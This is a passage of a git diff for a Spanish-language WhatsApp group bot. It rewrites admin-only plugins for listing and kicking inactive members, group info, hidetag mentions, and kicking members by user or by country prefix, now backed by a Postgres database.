-if(total == 0) return conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊 𝙀𝙎 𝘼𝘾𝙏𝙄𝙑𝙊 𝙉𝙊 𝙏𝙄𝙀𝙉𝙀 𝙁𝘼𝙉𝙏𝘼𝙎𝙈𝘼𝙎 :D`, m)
-m.reply(`⚠️ 𝙍𝙀𝙑𝙄𝙎𝙄𝙊𝙉 𝘿𝙀 𝙄𝙉𝘼𝘾𝙏𝙄𝙑𝙊 ⚠️\n\n𝙂𝙍𝙐𝙋𝙊: ${await conn.getName(m.chat)}\n*𝙈𝙄𝙀𝙈𝘽𝙍𝙊𝙎 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊:* ${sum}\n\n*[ 👻 𝙇𝙄𝙎𝙏𝘼𝙎 𝘿𝙀 𝙁𝘼𝙉𝙏𝘼𝙎𝙈𝘼𝙎 👻 ]*\n${sider.map(v => ' 👉🏻 @' + v.replace(/@.+/, '')).join('\n')}\n\n*𝙉𝙊𝙏𝘼: 𝙀𝙎𝙏𝙊 𝙋𝙐𝙀𝘿𝙀 𝙉𝙊 𝙎𝙀𝙍 ℅100 𝘼𝘾𝙀𝙍𝙏𝘼𝘿𝙊 𝙀𝙇 𝘽𝙊𝙏 𝙄𝙉𝙄𝘾𝙄𝘼 𝙀𝙇 𝘾𝙊𝙉𝙏𝙀𝙊 𝘿𝙀 𝙈𝙀𝙉𝙎𝘼𝙅𝙀 𝘼𝙋𝘼𝙍𝙏𝙄𝙍 𝘿𝙀 𝙌𝙐𝙀 𝙎𝙀 𝘼𝘾𝙏𝙄𝙑𝙊 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙉𝙐́𝙈𝙀𝙍𝙊*`, null, { mentions: sider })
- break
-case "kickfantasmas":
- if(total == 0) return conn.reply(m.chat, `${lenguajeGB['smsAvisoAG']()}𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊 𝙀𝙎 𝘼𝘾𝙏𝙄𝙑𝙊 𝙉𝙊 𝙏𝙄𝙀𝙉𝙀 𝙁𝘼𝙉𝙏𝘼𝙎𝙈𝘼𝙎 :D`, m)
- await m.reply(`⚠️ 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘾𝙄𝙊𝙉 𝘿𝙀 𝙄𝙉𝘼𝘾𝙏𝙄𝙑𝙊𝙎 ⚠️\n\n𝙂𝙍𝙐𝙋𝙊: ${await conn.getName(m.chat)}\n𝙋𝘼𝙍𝙏𝙄𝘾𝙄𝙋𝘼𝙍𝙏𝙀: ${sum}\n\n[ 👻 𝙁𝘼𝙉𝙏𝘼𝙎𝙈𝘼𝙎 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘿𝙊 👻 ]\n${sider.map(v => '@' + v.replace(/@.+/, '')).join('\n')}\n\n*𝙀𝙇 𝘽𝙊𝙏 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝘼 𝙇𝘼 𝙇𝙄𝙎𝙏𝘼 𝙈𝙀𝙉𝘾𝙄𝙊𝙉𝘼𝘿𝘼, 𝙀𝙈𝙋𝙀𝙕𝘼𝘿𝙊 𝙀𝙇 20 𝙎𝙀𝙂𝙐𝙉𝘿𝙊, 𝙔 𝘾𝘼𝘿𝘼 10 𝙎𝙀𝙂𝙐𝙉𝘿𝙊𝙎 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝘼 𝙐𝙉 𝙉𝙐́𝙈𝙀𝙍𝙊*`, null, { mentions: sider })
- await delay(1 * 10000)
- let chat = global.db.data.chats[m.chat]
- chat.welcome = false
- try{
-
- let users = m.mentionedJid.filter(u => !areJidsSameUser(u, conn.user.id))
- let kickedGhost = sider.map(v => v.id).filter(v => v !== conn.user.jid)
- for (let user of users)
- if (user.endsWith('@s.whatsapp.net') && !(participants.find(v => areJidsSameUser(v.id, user)) || { admin: true }).admin)
- {
- let res = await conn.groupParticipantsUpdate(m.chat, [user], 'remove')
- kickedGhost.concat(res)
- await delay(1 * 10000)
- }} finally{
- chat.welcome = true
- }
-break
-}}
-handler.command = /^(fantasmas|kickfantasmas)$/i
-handler.group = handler.botAdmin = handler.admin = true
-handler.fail = null
-export default handler
-const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
+import { db } from '../lib/postgres.js';
+let handler = async (m, { conn, text, participants, args, command, metadata }) => {
+try {
+const result = await db.query(`SELECT user_id, message_count
+ FROM messages
+ WHERE group_id = $1`, [m.chat]);
+let memberData = participants.map(mem => {
+const userId = mem.id;
+const userData = result.rows.find(row => row.user_id === userId) || { message_count: 0 };
+return { id: userId,
+messages: userData.message_count,
+isAdmin: mem.admin === 'admin' || mem.admin === 'superadmin'
+}});
- //desarrollado por https://github.com/ReyEndymion
- //participa en desactivacion de despedida https://github.com/BrunoSobrino/
+let sum = text ? parseInt(text) : memberData.length;
+if (isNaN(sum) || sum <= 0) sum = memberData.length;
+let sider = memberData.slice(0, sum).filter(mem => mem.messages === 0 && !mem.isAdmin);
+let total = sider.length;
+switch (command.toLowerCase()) {
+case 'fantasmas':
+if (total === 0) return m.reply(`⚠️ Este grupo es activo, ¡no tiene fantasmas! :D`);
+let teks = `⚠️ REVISIÓN DE INACTIVOS ⚠️\n\n`;
+teks += `Grupo: ${metadata.subject || 'Sin nombre'}\n`;
+teks += `*Miembros del grupo:* ${memberData.length}\n`;
+teks += `*Miembros inactivos:* ${total}\n\n`;
+teks += `[ 👻 LISTA DE FANTASMAS 👻 ]\n`;
+teks += sider.map(v => ` 👉🏻 @${v.id.split('@')[0]}`).join('\n');
+teks += `\n\n*Nota:* Esto puede no ser 100% acertado. El bot inicia el conteo de mensajes desde que se activó en este grupo.`;
+await conn.sendMessage(m.chat, { text: teks, contextInfo: { mentionedJid: sider.map(v => v.id)}}, { quoted: m });
+break;
+case 'kickfantasmas':
+if (total === 0) return m.reply(`⚠️ Este grupo es activo, ¡no tiene fantasmas! :D`);
+let kickTeks = `⚠️ ELIMINACIÓN DE INACTIVOS ⚠️\n\n`;
+kickTeks += `Grupo: ${metadata.subject || 'Sin nombre'}\n`;
+kickTeks += `*Miembros del grupo:* ${memberData.length}\n`;
+kickTeks += `*Miembros inactivos:* ${total}\n\n`;
+kickTeks += `[ 👻 FANTASMAS A ELIMINAR 👻 ]\n`;
+kickTeks += sider.map(v => `@${v.id.split('@')[0]}`).join('\n');
+kickTeks += `\n\n*El bot eliminará la lista mencionada, empezando en 20 segundos, con 10 segundos entre cada expulsión.*`;
+await conn.sendMessage(m.chat, { text: kickTeks, contextInfo: { mentionedJid: sider.map(v => v.id) }}, { quoted: m });
+
+let chatSettings = (await db.query("SELECT * FROM group_settings WHERE group_id = $1", [m.chat])).rows[0] || {};
+let originalWelcome = chatSettings.welcome || true;
+await db.query(`UPDATE group_settings
+ SET welcome = false
+ WHERE group_id = $1`, [m.chat]);
+await delay(20000);
+try {
+for (let user of sider) {
+if (user.id !== conn.user.jid) {
+await conn.groupParticipantsUpdate(m.chat, [user.id], 'remove');
+await delay(10000);
+}}} finally {
+await db.query(`UPDATE group_settings
+ SET welcome = $1
+ WHERE group_id = $2`, [originalWelcome, m.chat]);
+}
+await m.reply(`✅ Eliminación de fantasmas completada.`);
+break;
+}
+} catch (err) {
+console.error(err);
+m.reply("❌ Error ejecutando el comando. Por favor, intenta de nuevo.");
+}};
+handler.help = ['fantasmas', 'kickfantasmas'];
+handler.tags = ['group'];
+handler.command = /^(fantasmas|kickfantasmas)$/i;
+handler.group = true;
+handler.botAdmin = true;
+handler.admin = true;
+handler.register = true;
+
+export default handler;
+const delay = ms => new Promise(resolve => setTimeout(resolve, ms));
\ No newline at end of file
diff --git a/plugins/grupo-groupInfo.js b/plugins/grupo-groupInfo.js
new file mode 100644
index 000000000..782baf3eb
--- /dev/null
+++ b/plugins/grupo-groupInfo.js
@@ -0,0 +1,74 @@
+import { db } from '../lib/postgres.js'
+
+let handler = async (m, { conn }) => {
+const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => "https://telegra.ph/file/39fb047cdf23c790e0146.jpg")
+
+let groupMetadata
+try {
+groupMetadata = await conn.groupMetadata(m.chat)
+} catch {
+return m.reply('*⚠️ Error al obtener información del grupo. Intenta nuevamente más tarde.*')
+}
+const participants = groupMetadata.participants || []
+const groupAdmins = participants.filter(p => p.admin)
+const usarLid = participants.some(p => p.id?.endsWith?.('@lid'))
+const listAdmin = await Promise.all(groupAdmins.map(async (v, i) => {
+let numero = null
+if (usarLid && v.id.endsWith('@lid')) {
+const res = await db.query('SELECT num FROM usuarios WHERE lid = $1', [v.id])
+numero = res.rows[0]?.num || null
+} else if (/^\d+@s\.whatsapp\.net$/.test(v.id)) {
+numero = v.id.split('@')[0]
+}
+return `➥ ${numero ? `@${numero}` : `@Usuarios`}`
+}))
+
+const { rows } = await db.query(`SELECT * FROM group_settings WHERE group_id = $1`, [m.chat])
+const data = rows[0] || {}
+const { welcome, detect, antifake, antilink, modoadmin, primary_bot, modohorny, nsfw_horario, banned } = data
+const fallbackOwner = m.chat.includes('-') ? m.chat.split('-')[0] + '@s.whatsapp.net' : null
+const owner = groupMetadata.owner || groupAdmins.find(p => p.admin === 'superadmin')?.id || fallbackOwner || "Desconocido"
+
+let primaryBotMention = ''
+if (primary_bot) {
+const allBots = [conn, ...global.conns.filter(bot => bot.user && bot.ws?.socket?.readyState !== 3)]
+const selectedBot = allBots.find(bot => bot.user.jid === primary_bot)
+primaryBotMention = `@${primary_bot.split('@')[0]}`
+}
+
+const text = `『 INFO DE GRUPO 』
+
+*• ID :*
+${groupMetadata.id}
+
+*• Nombre :*
+${groupMetadata.subject}
+
+*• Miembros :*
+${participants.length}
+
+*• Creador del grupo :*
+@${owner.split('@')[0]}
+
+*• Admins :*
+${listAdmin.join('\n')}
+
+*• 𝙲𝙾𝙽𝙵𝙸𝙶𝚄𝚁𝙰𝙲𝙸𝙾𝙽 𝙳𝙴𝙻 𝙶𝚁𝚄𝙿𝙾 :*
+• Bot : ${modoadmin ? 'Apagado 📴' : `${primaryBotMention || 'Online ✅'}`}
+• Bienvenida: ${welcome ? '✅' : '❌'}
+• AntiLink: ${antilink ? '✅' : '❌'}
+• AntiFake: ${antifake ? '✅' : '❌'}
+• Detect: ${detect ? '✅' : '❌'}
+• Modo horny: ${modohorny ? '✅' : '❌'}
+• NSFW horario permitido: ${nsfw_horario ? `🕒 (${nsfw_horario})` : '❌'}
+• Grupo baneado: ${banned ? '🚫 Sí' : '✅ No'}
+`.trim()
+await conn.sendFile(m.chat, pp, 'pp.jpg', text, m)
+}
+handler.help = ['infogp']
+handler.tags = ['group']
+handler.command = ['infogrupo', 'groupinfo', 'infogp']
+handler.group = true
+handler.register = true
+
+export default handler
diff --git a/plugins/grupo-hidetag.js b/plugins/grupo-hidetag.js
index 66aae4d99..5f2c03803 100644
--- a/plugins/grupo-hidetag.js
+++ b/plugins/grupo-hidetag.js
@@ -1,43 +1,64 @@
-//import { generateWAMessageFromContent } from '@adiwajshing/baileys'
-let generateWAMessageFromContent = (await import(global.baileys)).default
+import { generateWAMessageFromContent } from "@whiskeysockets/baileys"
import * as fs from 'fs'
-let handler = async (m, { conn, text, participants, isOwner, isAdmin }) => {
-try {
+
+var handler = async (m, { conn, text, participants, isOwner, usedPrefix, command, isAdmin }) => {
+if (!m.quoted && !text) return m.reply(`𝙔 𝙀𝙇 𝙏𝙀𝙓𝙏𝙊?`)
let users = participants.map(u => conn.decodeJid(u.id))
-let q = m.quoted ? m.quoted : m || m.text || m.sender
-let c = m.quoted ? await m.getQuotedObj() : m.msg || m.text || m.sender
-let msg = conn.cMod(m.chat, generateWAMessageFromContent(m.chat, { [m.quoted ? q.mtype : 'extendedTextMessage']: m.quoted ? c.message[q.mtype] : { text: '' || c }}, { quoted: m, userJid: conn.user.id }), text || q.text, conn.user.jid, { mentions: users })
-await conn.relayMessage(m.chat, msg.message, { messageId: msg.key.id })
+if (m.quoted && m.quoted.message) {
+const type = Object.keys(m.quoted.message)[0]
+const isMedia = ['imageMessage', 'videoMessage', 'audioMessage', 'stickerMessage', 'documentMessage'].includes(type)
+if (isMedia) {
+try {
+let mediax = await m.quoted.download()
+let msg = { contextInfo: { mentionedJid: users } }
+if (type === 'imageMessage') {
+msg.image = mediax
+if (text) msg.caption = text
+} else if (type === 'videoMessage') {
+msg.video = mediax
+if (text) msg.caption = text
+} else if (type === 'audioMessage') {
+msg.audio = mediax
+msg.ptt = true
+msg.fileName = 'Hidetag.mp3'
+msg.mimetype = 'audio/mp4'
+} else if (type === 'stickerMessage') {
+msg.sticker = mediax
+} else if (type === 'documentMessage') {
+msg.document = mediax
+msg.fileName = m.quoted.fileName || 'archivo'
+msg.mimetype = m.quoted.mimetype || 'application/octet-stream'
+}
+await conn.sendMessage(m.chat, msg, { quoted: null })
+return
+} catch (e) {
+}}}
-} catch {
+let texto = ''
+if (m.quoted?.message) {
+const msg = m.quoted.message
+texto = msg.conversation || msg.extendedTextMessage?.text || msg.imageMessage?.caption || msg.videoMessage?.caption || ''
+}
-/**
-[ By @NeKosmic || https://github.com/NeKosmic/ ]
-**/
-
-let users = participants.map(u => conn.decodeJid(u.id))
-let quoted = m.quoted ? m.quoted : m
-let mime = (quoted.msg || quoted).mimetype || ''
-let isMedia = /image|video|sticker|audio/.test(mime)
-let more = String.fromCharCode(8206)
-let masss = more.repeat(850)
-let htextos = `${text ? text : "*Hola!!*"}`
-if ((isMedia && quoted.mtype === 'imageMessage') && htextos) {
-var mediax = await quoted.download?.()
-conn.sendMessage(m.chat, { image: mediax, mentions: users, caption: htextos, mentions: users }, { quoted: m })
-} else if ((isMedia && quoted.mtype === 'videoMessage') && htextos) {
-var mediax = await quoted.download?.()
-conn.sendMessage(m.chat, { video: mediax, mentions: users, mimetype: 'video/mp4', caption: htextos }, { quoted: m })
-} else if ((isMedia && quoted.mtype === 'audioMessage') && htextos) {
-var mediax = await quoted.download?.()
-conn.sendMessage(m.chat, { audio: mediax, mentions: users, mimetype: 'audio/mp4', fileName: `Hidetag.mp3` }, { quoted: m })
-} else if ((isMedia && quoted.mtype === 'stickerMessage') && htextos) {
-var mediax = await quoted.download?.()
-conn.sendMessage(m.chat, {sticker: mediax, mentions: users}, { quoted: m })
+if (!texto && typeof m.originalText === 'string' && m.originalText.length > 0) {
+let prefix = usedPrefix || ''
+let cmd = command || ''
+let original = m.originalText.trimStart()
+if (original.slice(0, prefix.length + cmd.length).toLowerCase() === (prefix + cmd).toLowerCase()) {
+texto = original.slice(prefix.length + cmd.length).trimStart()
} else {
-await conn.relayMessage(m.chat, {extendedTextMessage:{text: `${masss}\n${htextos}\n`, ...{ contextInfo: { mentionedJid: users, externalAdReply: { thumbnail: img14, sourceUrl: md }}}}}, {})
-}}}
+texto = original
+}}
+
+try {
+await conn.sendMessage(m.chat, { text: texto, contextInfo: { mentionedJid: users }}, { quoted: null })
+} catch (e) {
+console.error(e)
+}}
+handler.help = ['hidetag']
+handler.tags = ['group']
handler.command = /^(hidetag|notificar|notify)$/i
handler.group = true
handler.admin = true
+handler.register = true
export default handler
diff --git a/plugins/grupo-info.js b/plugins/grupo-info.js
deleted file mode 100644
index b4d887a3c..000000000
--- a/plugins/grupo-info.js
+++ /dev/null
@@ -1,57 +0,0 @@
-let handler = async (m, { conn, participants, groupMetadata }) => {
-const pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/avatar_contact.png'
-const { antiToxic, antiTraba, antiviewonce, isBanned, welcome, detect, sWelcome, sBye, sPromote, sDemote, antiLink, antiLink2, temporal, reaction, antiTelegram, antiFacebook, antiTiktok, antiYoutube, modohorny, antiTwitter, antiInstagram, stickers, autolevelup, autosticker, antitoxic, antifake, modoadmin, audios, delete: del } = global.db.data.chats[m.chat]
-const groupAdmins = participants.filter(p => p.admin)
-const listAdmin = groupAdmins.map((v, i) => `${i + 1}. @${v.id.split('@')[0]}`).join('\n')
-const owner = groupMetadata.owner || groupAdmins.find(p => p.admin === 'superadmin')?.id || m.chat.split`-`[0] + '@s.whatsapp.net'
-let text = `*「 𝙄𝙉𝙁𝙊 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 」*\n
-*𝙄𝘿𝙀𝙉𝙏𝙄𝙁𝙄𝘾𝘼𝘾𝙄𝙊𝙉 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊:*
-${groupMetadata.id}
-
-*𝙉𝙊𝙈𝘽𝙍𝙀:*
-${groupMetadata.subject}
-
-*𝘿𝙀𝙎𝘾𝙍𝙄𝙋𝘾𝙄𝙊𝙉:*
-${groupMetadata.desc?.toString() || 'Sin descripción'}
-
-*𝙏𝙊𝙏𝘼𝙇 𝘿𝙀 𝙋𝘼𝙍𝙏𝙄𝘾𝙄𝙋𝘼𝙉𝙏𝙀𝙎:*
-${participants.length} Participantes
-
-*𝘾𝙍𝙀𝘼𝘿𝙊𝙍 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊:*
-@${owner.split('@')[0]}
-
-*𝘼𝘿𝙈𝙄𝙉𝙎:*
-${listAdmin}
-
-*𝙊𝙋𝘾𝙄𝙊𝙉𝙀𝙎 𝘼𝙐𝙏𝙊𝙈𝘼𝙏𝙄𝘾𝘼:*
-・ 𝙒𝙚𝙡𝙘𝙤𝙢𝙚: ${welcome ? '✅' : '❌'}
-・ 𝘼𝙣𝙩𝙞𝙡𝙞𝙣𝙠: ${antiLink ? '✅' : '❌'}
-・ 𝘼𝙣𝙩𝙞𝙡𝙞𝙣𝙠 *2:* ${antiLink2 ? '✅' : '❌'}
-・ 𝘼𝙣𝙩𝙞𝙩𝙧𝙖𝙗𝙖: ${antiTraba ? '✅' : '❌'}
-・ 𝙖𝙪𝙩𝙤𝙨𝙩𝙞𝙘𝙠𝙚𝙧: ${autosticker ? '✅' : '❌'}
-・ 𝙙𝙚𝙩𝙚𝙘𝙩: ${detect ? '✅' : '❌'}
-・ 𝙖𝙪𝙩𝙤𝙡𝙚𝙫𝙚𝙡𝙪𝙥: ${global.db.data.users[m.sender].autolevelup ? '✅' : '❌'}
-・ 𝙁𝙪𝙣𝙘𝙞𝙤𝙣 𝙖𝙣𝙖𝙙𝙞𝙧 𝙮 𝙨𝙖𝙘𝙖𝙧: ${global.db.data.settings[conn.user.jid].restrict ? '✅' : '❌'}
-・ 𝙨𝙩𝙞𝙘𝙠𝙚𝙧𝙨: ${stickers ? '✅' : '❌'}
-・ 𝙧𝙚𝙖𝙘𝙘𝙞𝙤𝙣: ${reaction ? '✅' : '❌'}
-・ 𝙖𝙪𝙙𝙞𝙤: ${audios ? '✅' : '❌'}
-・ 𝙢𝙤𝙙𝙤 𝙝𝙤𝙧𝙣𝙮 (+18): ${modohorny ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙩𝙤𝙭𝙞𝙘: ${antitoxic ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙛𝙖𝙠𝙚: ${antifake ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙫𝙞𝙚𝙬𝙤𝙣𝙘𝙚: ${antiviewonce ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙙𝙚𝙡𝙚𝙩𝙚: ${global.db.data.chats[m.chat].delete ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙩𝙞𝙠𝙩𝙤𝙠: ${antiTiktok ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙮𝙤𝙪𝙩𝙪𝙗𝙚: ${antiYoutube ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙏𝙚𝙡𝙚𝙜𝙧𝙖𝙢: ${antiTelegram ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙁𝙖𝙘𝙚𝙗𝙤𝙤𝙠: ${antiFacebook ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙞𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢: ${antiInstagram ? '✅' : '❌'}
-・ 𝙖𝙣𝙩𝙞𝙩𝙬𝙞𝙩𝙩𝙚𝙧: ${antiTwitter ? '✅' : '❌'}
-・ 𝙢𝙤𝙙𝙤𝙖𝙙𝙢𝙞𝙣: ${modoadmin ? '✅' : '❌'}
-`.trim()
-conn.sendFile(m.chat, pp, 'error.jpg', text, m, false, { mentions: [...groupAdmins.map(v => v.id), owner] })
-}
-handler.help = ['infogrup']
-handler.tags = ['group']
-handler.command = /^(infogrupo|gro?upinfo|info(gro?up|gc))$/i
-handler.group = true
-export default handler
diff --git a/plugins/grupo-kick.js b/plugins/grupo-kick.js
index c1ba7708d..df95ca997 100644
--- a/plugins/grupo-kick.js
+++ b/plugins/grupo-kick.js
@@ -1,52 +1,14 @@
-let handler = async (m, { conn, participants, command, usedPrefix }) => {
-try{
-let texto = `${lenguajeGB['smskick1']()}${usedPrefix + command} @${global.owner[0][0]}*`
-const fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net"}
-
-if (!global.db.data.settings[conn.user.jid].restrict) return conn.sendButton(m.chat, wm, `${lenguajeGB['smsAvisoAG']()}${lenguajeGB['smsSoloOwner']()}`, null, [[lenguajeGB.smsEncender(), `${usedPrefix}on restringir`]], fkontak, m)
-if (!m.mentionedJid[0] && !m.quoted) return m.reply(texto, m.chat, { mentions: conn.parseMention(texto)})
-let user = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted.sender
-let owr = m.chat.split`-`[0]
-let eliminar = await conn.groupParticipantsUpdate(m.chat, [user], 'remove')
-if (m.message.extendedTextMessage === undefined || m.message.extendedTextMessage === null) return conn.reply(m.chat, texto, fkontak, m)
-if(m.message.extendedTextMessage.contextInfo.participant !== null && m.message.extendedTextMessage.contextInfo.participant != undefined && m.message.extendedTextMessage.contextInfo.participant !== "") {
-
-var mentioned = m.message.extendedTextMessage.contextInfo.mentionedJid[0] ? m.message.extendedTextMessage.contextInfo.mentionedJid[0] : m.message.extendedTextMessage.contextInfo.participant
-if(conn.user.jid.includes(mentioned)) return conn.reply(m.chat, `${lenguajeGB['smskick1']()}${usedPrefix + command} @${global.owner[0][0]}*`, fkontak, m)
-//let eliminar = await conn.groupParticipantsUpdate(m.chat, [mentioned], 'remove')
-let done = `${lenguajeGB['smsAvisoEG']()}*@${mentioned.split("@")[0]} ${lenguajeGB['smskick2']()}*`
-let err1 = `${lenguajeGB['smsAvisoFG']()}*@${mentioned.split("@")[0]} ${lenguajeGB['smskick3']()}*`
-let err2 = `${lenguajeGB['smsAvisoAG']()}*@${mentioned.split("@")[0]} ${lenguajeGB['smskick4']()}*`
-
-
-if (eliminar[0].status === "200") m.reply(done, m.chat, { mentions: conn.parseMention(done)})
-else if (eliminar[0].status === "406") m.reply(err1, m.chat, { mentions: conn.parseMention(err1)})
-else if (eliminar[0].status === "404") m.reply(err2, m.chat, { mentions: conn.parseMention(err2)})
-else conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-} else if (m.message.extendedTextMessage.contextInfo.mentionedJid != null && m.message.extendedTextMessage.contextInfo.mentionedJid != undefined) return
-} catch (e) {
-await m.reply(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, m)
-//await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-handler.help = ['kick']
-handler.tags = ['group']
-handler.command = /^(kick|echar|hechar|sacar|ban)$/i
-handler.admin = handler.group = handler.botAdmin = true
-export default handler
-
-/*let handler = async (m, { conn, participants, usedPrefix, command }) => {
-if (!global.db.data.settings[conn.user.jid].restrict) throw `${lenguajeGB['smsAvisoAG']()}𝙀𝙎𝙏𝘼 𝙍𝙀𝙎𝙏𝙍𝙄𝙉𝙂𝙄𝘿𝙊 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊\n#on restrict | #off restrict\n𝙀𝙇/𝙇𝘼 𝙋𝙍𝙊𝙋𝙄𝙀𝙏𝘼𝙍𝙄𝙊(𝘼) 𝘿𝙀𝘽𝙀 𝘼𝘾𝙏𝙄𝙑𝘼𝙍 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊\n\n 𝙊𝙒𝙉𝙀𝙍 𝙈𝙐𝙎𝙏 𝘼𝘾𝙏𝙄𝙑𝘼𝙏𝙀 𝙏𝙃𝙀 𝘾𝙊𝙈𝙈𝘼𝙉𝘿\n#on restrict | #off restrict`
-let kicktext = `*ETIQUTE A LA PERSONA O RESPONDA AL MENSAJE DE LA PERSONA QUE QUIERE QUE ELIMINE*\n\n*EJEMPLO: ${usedPrefix + command} @${global.owner[0][0]}*`
-if (!m.mentionedJid[0] && !m.quoted) return m.reply(kicktext, m.chat, { mentions: conn.parseMention(kicktext)})
+let handler = async (m, { conn, participants, usedPrefix, command, isOwner }) => {
+let kickte = `A quien eliminó? etiquetas a una persona con @tag pendejo`
+if (!m.mentionedJid[0] && !m.quoted) return m.reply(kickte, m.chat, { mentions: conn.parseMention(kickte)})
let user = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted.sender
let owr = m.chat.split`-`[0]
await conn.groupParticipantsUpdate(m.chat, [user], 'remove')}
-handler.command = /^(kick|echar|hechar|sacar|ban)$/i
+handler.help = ['kick *@user*']
+handler.tags = ['group']
+handler.command = ['kick', 'expulsar']
handler.admin = true
handler.group = true
handler.botAdmin = true
-export default handler*/
-
-
+handler.register = true
+export default handler
\ No newline at end of file
diff --git a/plugins/grupo-kicknum-kicknun.js b/plugins/grupo-kicknum-kicknun.js
index f5b5292fa..1d77b8a8a 100644
--- a/plugins/grupo-kicknum-kicknun.js
+++ b/plugins/grupo-kicknum-kicknun.js
@@ -1,37 +1,39 @@
-/* Codigo Creado Por Bruno Sobrino
- (https://github.com/BrunoSobrino/TheMystic-Bot-MD)
-*/
+const handler = async (m, { conn, args, groupMetadata, participants, usedPrefix, command, isBotAdmin }) => {
+if (!args[0]) return m.reply(`*⚠️ Ingresa el prefijo del país, Ejemplo:* ${usedPrefix + command} +52`);
+if (isNaN(args[0])) return m.reply(`*⚠️ El prefijo debe ser un número válido, Ejemplo:* ${usedPrefix + command} +52`);
+
+const prefijo = args[0].replace(/[+]/g, '');
+const encontrados = participants.map(u => u.id).filter(v => v !== conn.user.jid && v.startsWith(prefijo));
+const numeros = encontrados.map(v => '⭔ @' + v.replace(/@.+/, ''));
+if (!encontrados.length) return m.reply(`*📵 No hay ningún número con prefijo +${prefijo} en este grupo.*`);
-let handler = async (m, { conn, args, groupMetadata, participants, usedPrefix, command, isBotAdmin, isSuperAdmin }) => {
-if (!args[0]) return m.reply(`${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙋𝙍𝙀𝙁𝙄𝙅𝙊 𝘿𝙀 𝙐𝙉 𝙋𝘼𝙄𝙎 𝙋𝘼𝙍𝘼 𝘽𝙐𝙎𝘾𝘼𝙍 𝙉𝙐𝙈𝙀𝙍𝙊𝙎 𝙀𝙉 𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 𝘿𝙀 𝙀𝙎𝙀 𝙋𝘼𝙄𝙎, 𝙀𝙅𝙀𝙈𝙋𝙇𝙊: ${usedPrefix + command} 593*`)
-if (isNaN(args[0])) return m.reply(`${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙋𝙍𝙀𝙁𝙄𝙅𝙊 𝘿𝙀 𝙐𝙉 𝙋𝘼𝙄𝙎 𝙋𝘼𝙍𝘼 𝘽𝙐𝙎𝘾𝘼𝙍 𝙉𝙐𝙈𝙀𝙍𝙊𝙎 𝙀𝙉 𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 𝘿𝙀 𝙀𝙎𝙀 𝙋𝘼𝙄𝙎, 𝙀𝙅𝙀𝙈𝙋𝙇𝙊: ${usedPrefix + command} 593*`)
-let lol = args[0].replace(/[+]/g, '')
-let ps = participants.map(u => u.id).filter(v => v !== conn.user.jid && v.startsWith(lol || lol))
-let bot = global.db.data.settings[conn.user.jid] || {}
-if (ps == '') return m.reply(`${lenguajeGB['smsAvisoAG']()}𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊 𝙉𝙊 𝙃𝘼𝙔 𝙉𝙄𝙉𝙂𝙐𝙉 𝙉𝙐́𝙈𝙀𝙍𝙊 𝘾𝙊𝙉 𝙀𝙇 𝘼𝙍𝙀𝘼/𝙋𝙍𝙀𝙁𝙄𝙅𝙊 +${lol}*`)
-let numeros = ps.map(v=> '➥ @' + v.replace(/@.+/, ''))
-const delay = time => new Promise(res=>setTimeout(res,time));
switch (command) {
-case "listanum":
